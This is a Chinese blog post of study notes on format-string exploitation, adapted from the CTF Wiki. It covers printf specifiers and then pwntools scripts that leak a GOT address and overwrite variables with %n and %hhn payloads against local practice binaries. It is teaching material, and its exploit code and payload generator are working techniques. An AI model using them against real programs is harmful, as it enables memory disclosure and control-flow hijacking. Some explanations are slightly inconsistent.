很久以前学了,但是没有做笔记,发现已经忘的差不多了,所以想记录一下
本文章几乎内容全部是引用https://wiki.x10sec.org/pwn/fmtstr/fmtstr_exploit/与https://wiki.x10sec.org/pwn/fmtstr/fmtstr_intro/之所以大部分用时因为它写的很好,但有些地方对于我来说有点啰嗦,所以我写了适合自己的ctf wiki改造,来适用于自身
格式化字符串原理
由于格式化字符串函数是根据格式化字符串函数来解析的,那么相应的要被解析的参数的个数也自然是由这个格式化字符串控制。
例如:
printf("Color %s, Number %d, Float %4.2f");
其被解析为:
也就是说,就算没有参数,%s也会去自动解析该格式化字符串后面的一个地址的值,假如该格式化字符串后面的值为0x7fff123,那么它就会解析这个值。但如果%s无法解析这个值,就会发生错误,从而程序崩溃
格式化字符串¶
这里我们了解一下格式化字符串的格式,其基本格式如下
%[parameter][flags][field width][.precision][length]type
每一种pattern的含义请具体参考维基百科的格式化字符串 。以下几个pattern中的对应选择需要重点关注
- parameter
- n$,获取格式化字符串中的指定参数
- flag
- field width
- 输出的最小宽度
- precision
- 输出的最大长度
- length,输出的长度
- hh,输出一个字节
- h,输出一个双字节
- type
- d/i,有符号整数
- u,无符号整数
- x/X,16进制unsigned int 。x使用小写字母;X使用大写字母。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。
- o,8进制unsigned int 。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。
- s,如果没有用l标志,输出null结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了l标志,则对应函数参数指向wchar_t型的数组,输出时把每个宽字符转化为多字节字符,相当于调用wcrtomb 函数。
- c,如果没有用l标志,把int参数转为unsigned char型输出;如果用了l标志,把wint_t参数转为包含两个元素的wchart_t数组,其中第一个元素包含要输出的字符,第二个元素为null宽字符。
- p, void *型,输出对应变量的值。printf("%p",a)用地址的格式打印变量a的值,printf("%p", &a)打印变量a所在的地址。
- n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
- %, '
%
'字面值,不接受任何flags, width。
漏洞利用
知道了原理后,我们就该知道如何利用了,由于格式化字符串是输出该字符串后面地址所对应的值,也就是后面的参数值,所以我们可以利用这个来泄露栈内的值
我们以上面的例子为例:
如果我们把%s换成%p,那么输出的将会是,该格式化字符串后面一个参数的值,如果我们把格式化字符串换成
printf("%08x.%08x.%08x.%s",1,2,3,"asd");
那么其输出的值肯定就是对应值即:1.2.3.asd
但如果我们没有后面的参数,像下面这样
printf("%08x.%08x.%08x.%s")
并且假设在栈中的该格式化字符串后面的值为1,2,3,asd,那么其值输出的也会是这些,所以说该无论你有没有后面的格式化字符串的参数,它都会对此(栈内对应的参数地址位置)进行解析,从而输出
如果我们想要输出栈内对应位置的数据那么我们可以用下面这个格式化字符串,需要注意的是,上面给出的方法是获得栈中每个参数,那么如何直接获取栈中的第n+1个参数呢?如下
%n$x
由于该格式化字符串的意思是:输出第n个格式化字符串所对应的地址,那么也就是说是printf的第n+1个参数,格式化字符串中的第n个参数。我们接着利用上面那个例子改变,栈内的数据同上
printf("%2$x");
我这里写的是第2个格式化参数的地址,那么它谁输出什么呢?假设栈内数据跟上一个例子是一样的
答案是:2
所以这样我们就可以通过格式化字符串输出我们想要栈内的对应值了
泄露地址内存
既然我们可以输出栈内的对应值了,那么如果格式化字符串在栈上,也就是说,由于printf的第一个参数指向的是我们字符串的地址,而我们这个字符串地址如果也在栈上的话,只要知道偏移量,那么久可以够成地址的泄露了。
这里我们用ctf wiki的例子为例
程序源代码为
#include <stdio.h> int main() { char s[100]; int a = 1, b = 0x22222222, c = -1; scanf("%s", s); printf("%08x.%08x.%08x.%s ", a, b, c, s); printf(s); return 0; }
当我们对这个程序进行运行时,并且输入
AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
得到的输出为
00000001.22222222.ffffffff.AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
AAAA0xffaab1600xc20xf76146bb0x414141410x702570250x702570250x702570250x702570250x702570250x702570250x702570250x70250xffaab2240xf77360000xaec7%
这里我们可以发现出现了0x41414141这个值,我们来看一下栈中的数据
0xffffcd0c│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp 0xffffcd10│+0x04: 0xffffcd20 → "%4$s" 0xffffcd14│+0x08: 0xffffcd20 → "%4$s" 0xffffcd18│+0x0c: 0x000000c2 0xffffcd1c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10 0xffffcd20│+0x14: "%AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p" ← $eax 0xffffcd24│+0x18: "%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p" 0xffffcd28│+0x1c: "%p%p%p%p%p%p%p%p%p%p%p%p%p"
可以发现第一个参数所指的字符串地址为0xffffcd20,而AAAA正是格式化字符串的第四个地址值(所以偏移量就是4),也就是说我们填写的格式化字符串在栈内,所以我们只需要知道这个偏移量,就可以直接泄露内存的地址,如果我们把自己构造的payload中某个值填写了函数的地址,然后在经过计算偏移量让其输出相应的值,就可以得到该函数的地址了。
这里直接引用wiki的wp
from pwn import * sh = process('./leakmemory') leakmemory = ELF('./leakmemory') __isoc99_scanf_got = leakmemory.got['__isoc99_scanf'] print hex(__isoc99_scanf_got) payload = p32(__isoc99_scanf_got) + '%4$s' print payload gdb.attach(sh) sh.sendline(payload) sh.recvuntil('%4$s ') print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got sh.interactive()
利用gdb attach来调试,可以看到第五个参数指向了scanf
→ 0xf7615670 <printf+0> call 0xf76ebb09 <__x86.get_pc_thunk.ax> ↳ 0xf76ebb09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp] 0xf76ebb0c <__x86.get_pc_thunk.ax+3> ret 0xf76ebb0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp] 0xf76ebb10 <__x86.get_pc_thunk.dx+3> ret ───────────────────────────────────────────────────────────────────[ stack ]──── ['0xffbbf8dc', 'l8'] 8 0xffbbf8dc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp 0xffbbf8e0│+0x04: 0xffbbf8f0 → 0x0804a014 → 0xf76280c0 → <__isoc99_scanf+0> push ebp 0xffbbf8e4│+0x08: 0xffbbf8f0 → 0x0804a014 → 0xf76280c0 → <__isoc99_scanf+0> push ebp 0xffbbf8e8│+0x0c: 0x000000c2 0xffbbf8ec│+0x10: 0xf765c6bb → <handle_intel+107> add esp, 0x10 0xffbbf8f0│+0x14: 0x0804a014 → 0xf76280c0 → <__isoc99_scanf+0> push ebp ← $eax 0xffbbf8f4│+0x18: "%4$s" 0xffbbf8f8│+0x1c: 0x00000000
同时,在终端输出
➜ leakmemory git:(master) ✗ python exploit.py [+] Starting local process './leakmemory': pid 65363 [*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 0x804a014 x14xa0x0%4$s [*] running in new terminal: /usr/bin/gdb -q "/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory" 65363 [+] Waiting for debugger: Done 0xf76280c0 [*] Switching to interactive mode [*] Process './leakmemory' stopped with exit code 0 (pid 65363) [*] Got EOF while reading in interactiv
我们得到了scanf的地址
覆盖内存
由上面所提到的格式化字符串类型,我们不难知道有个%n这个值,可以将已经输出的字节总数,作为值返回给栈内所对应的地址,也就是说,这个%n会直接修改栈内的值,所以我们可以覆盖内存
有了前面的知识,我们可以知道如果我们%n$k那么我们可以将第格式化参数中的第k个值进行修改,如果还知道字符串的偏移,那么我们还可以直接修改字符串内的值
接着引用ctf wiki里的例子,这里wiki写的很适合我的学习方式所以直接引用了
/* example/overflow/overflow.c */ #include <stdio.h> int a = 123, b = 456; int main() { int c = 789; char s[100]; printf("%p ", &c); scanf("%s", s); printf(s); if (c == 16) { puts("modified c."); } else if (a == 2) { puts("modified a for a small number."); } else if (b == 0x12345678) { puts("modified b for a big number!"); } return 0; }
确定覆盖地址¶
首先,我们自然是来想办法知道栈变量c的地址。由于目前几乎上所有的程序都开启了aslr保护,所以栈的地址一直在变,所以我们这里故意输出了c变量的地址。
确定相对偏移¶
其次,我们来确定一下存储格式化字符串的地址是printf将要输出的第几个参数()。 这里我们通过之前的泄露栈变量数值的方法来进行操作。通过调试
→ 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax> ↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp] 0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret 0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp] 0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret ────────────────────────────────────────────────────────────────────────────────────[ stack ]──── ['0xffffcd0c', 'l8'] 8 0xffffcd0c│+0x00: 0x080484d7 → <main+76> add esp, 0x10 ← $esp 0xffffcd10│+0x04: 0xffffcd28 → "%d%d" 0xffffcd14│+0x08: 0xffffcd8c → 0x00000315 0xffffcd18│+0x0c: 0x000000c2 0xffffcd1c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10 0xffffcd20│+0x14: 0xffffcd4e → 0xffff0000 → 0x00000000 0xffffcd24│+0x18: 0xffffce4c → 0xffffd07a → "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]" 0xffffcd28│+0x1c: "%d%d" ← $eax
我们可以发现在0xffffcd28处存储着变量c的数值。继而,我们再确定格式化字符串'%d%d'的地址0xffffcd28相对于printf函数的格式化字符串参数0xffffcd10的偏移为0x18,即格式化字符串相当于printf函数的第7个参数,相当于格式化字符串的第6个参数。
进行覆盖¶
这样,第6个参数处的值就是存储变量c的地址,我们便可以利用%n的特征来修改c的值。payload如下
[addr of c]%012d%6$n
addr of c 的长度为4,故而我们得再输入12个字符才可以达到16个字符,以便于来修改c的值为16。
具体脚本如下
def forc(): sh = process('./overwrite') c_addr = int(sh.recvuntil(' ', drop=True), 16) print hex(c_addr) payload = p32(c_addr) + '%012d' + '%6$n' print payload #gdb.attach(sh) sh.sendline(payload) print sh.recv() sh.interactive() forc()
结果如下
➜ overwrite git:(master) ✗ python exploit.py [+] Starting local process './overwrite': pid 74806 0xfffd8cdc ܌��%012d%6$n ܌��-00000160648modified c.
覆盖任意地址内存¶
覆盖小数字¶
如果我们要修改a的值,那么就需要知道a的地址,由于我们已经知道格式化字符串的偏移量是6,所以我们可以构造payload为
aa%6$n+a_addr
但是光这样还不行,我们知道参数的值大小为4个字节,所以aa%6为一个字节也就是第一个参数,$nxx是第二个参数,那么剩下就会和内存的值变成第三个参数,所以我们需要在aa%6$n后面加xx,就可以得到正确的参数,所以可以构造脚本,a(通过ida获得地址)
def fora(): sh = process('./overwrite') a_addr = 0x0804A024 payload = 'aa%8$naa' + p32(a_addr) sh.sendline(payload) print sh.recv() sh.interactive()
对应结果如下
➜ overwrite git:(master) ✗ python exploit.py [+] Starting local process './overwrite': pid 76508 [*] Process './overwrite' stopped with exit code 0 (pid 76508) 0xffc1729c aaaa$xa0x0modified a for a small number.
覆盖大数字
上面介绍了覆盖小数字,这里我们就少覆盖大数字了。上面我们也说了,我们可以选择直接一次性输出大数字个字节来进行覆盖,但是这样基本也不会成功,因为太长了。而且即使成功,我们一次性等待的时间也太长了,那么有没有什么比较好的方式呢?自然是有了。
首先,所有的变量在内存中都是以字节进行存储的。此外,在x86和x64的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址。举个例子,0x12345678在内存中由低地址到高地址依次为x78x56x34x12。再者,我们可以回忆一下格式化字符串里面的标志,可以发现有这么两个标志:
hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。
所以说,我们可以利用%hhn向某个地址写入单字节,利用%hn向某个地址写入双字节。这里,我们以单字节为例。
首先,我们还是要确定的是要覆盖的地址为多少,利用ida看一下,可以发现地址为0x0804A028。
.data:0804A028 public b .data:0804A028 b dd 1C8h ; DATA XREF: main:loc_8048510r
即我们希望将按照如下方式进行覆盖,前面为覆盖地址,后面为覆盖内容。
0x0804A028 x78 0x0804A029 x56 0x0804A02a x34 0x0804A02b x12
首先,由于我们的字符串的偏移为6,所以我们可以确定我们的payload基本是这个样子的
p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'
基本构造如下
def fmt(prev, word, index): if prev < word: result = word - prev fmtstr = "%" + str(result) + "c" elif prev == word: result = 0 else: result = 256 + word - prev fmtstr = "%" + str(result) + "c" fmtstr += "%" + str(index) + "$hhn" return fmtstr def fmt_str(offset, size, addr, target): payload = "" for i in range(4): if size == 4: payload += p32(addr + i) else: payload += p64(addr + i) prev = len(payload) for i in range(4): payload += fmt(prev, (target >> i * 8) & 0xff, offset + i) prev = (target >> i * 8) & 0xff return payload payload = fmt_str(6,4,0x0804A028,0x12345678)
其中每个参数的含义基本如下
- offset表示要覆盖的地址最初的偏移
- size表示机器字长
- addr表示将要覆盖的地址。
- target表示我们要覆盖为的目的变量值。
相应的exploit如下
def forb(): sh = process('./overwrite') payload = fmt_str(6, 4, 0x0804A028, 0x12345678) print payload sh.sendline(payload) print sh.recv() sh.interactive()
结果如下
➜ overwrite git:(master) ✗ python exploit.py [+] Starting local process './overwrite': pid 78547 (xa0x0)xa0x0*xa0x0+xa0x0%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn [*] Process './overwrite' stopped with exit code 0 (pid 78547) 0xfff6f9bc (xa0x0)xa0x0*xa0x0+xa0x0 X � xbb ~modified b for a big number!
当然,我们也可以利用%n分别对每个地址进行写入,也可以得到对应的答案,但是由于我们写入的变量都只会影响由其开始的四个字节,所以最后一个变量写完之后,我们可能会修改之后的三个字节,如果这三个字节比较重要的话,程序就有可能因此崩溃。而采用%hhn则不会有这样的问题,因为这样只会修改相应地址的一个字节。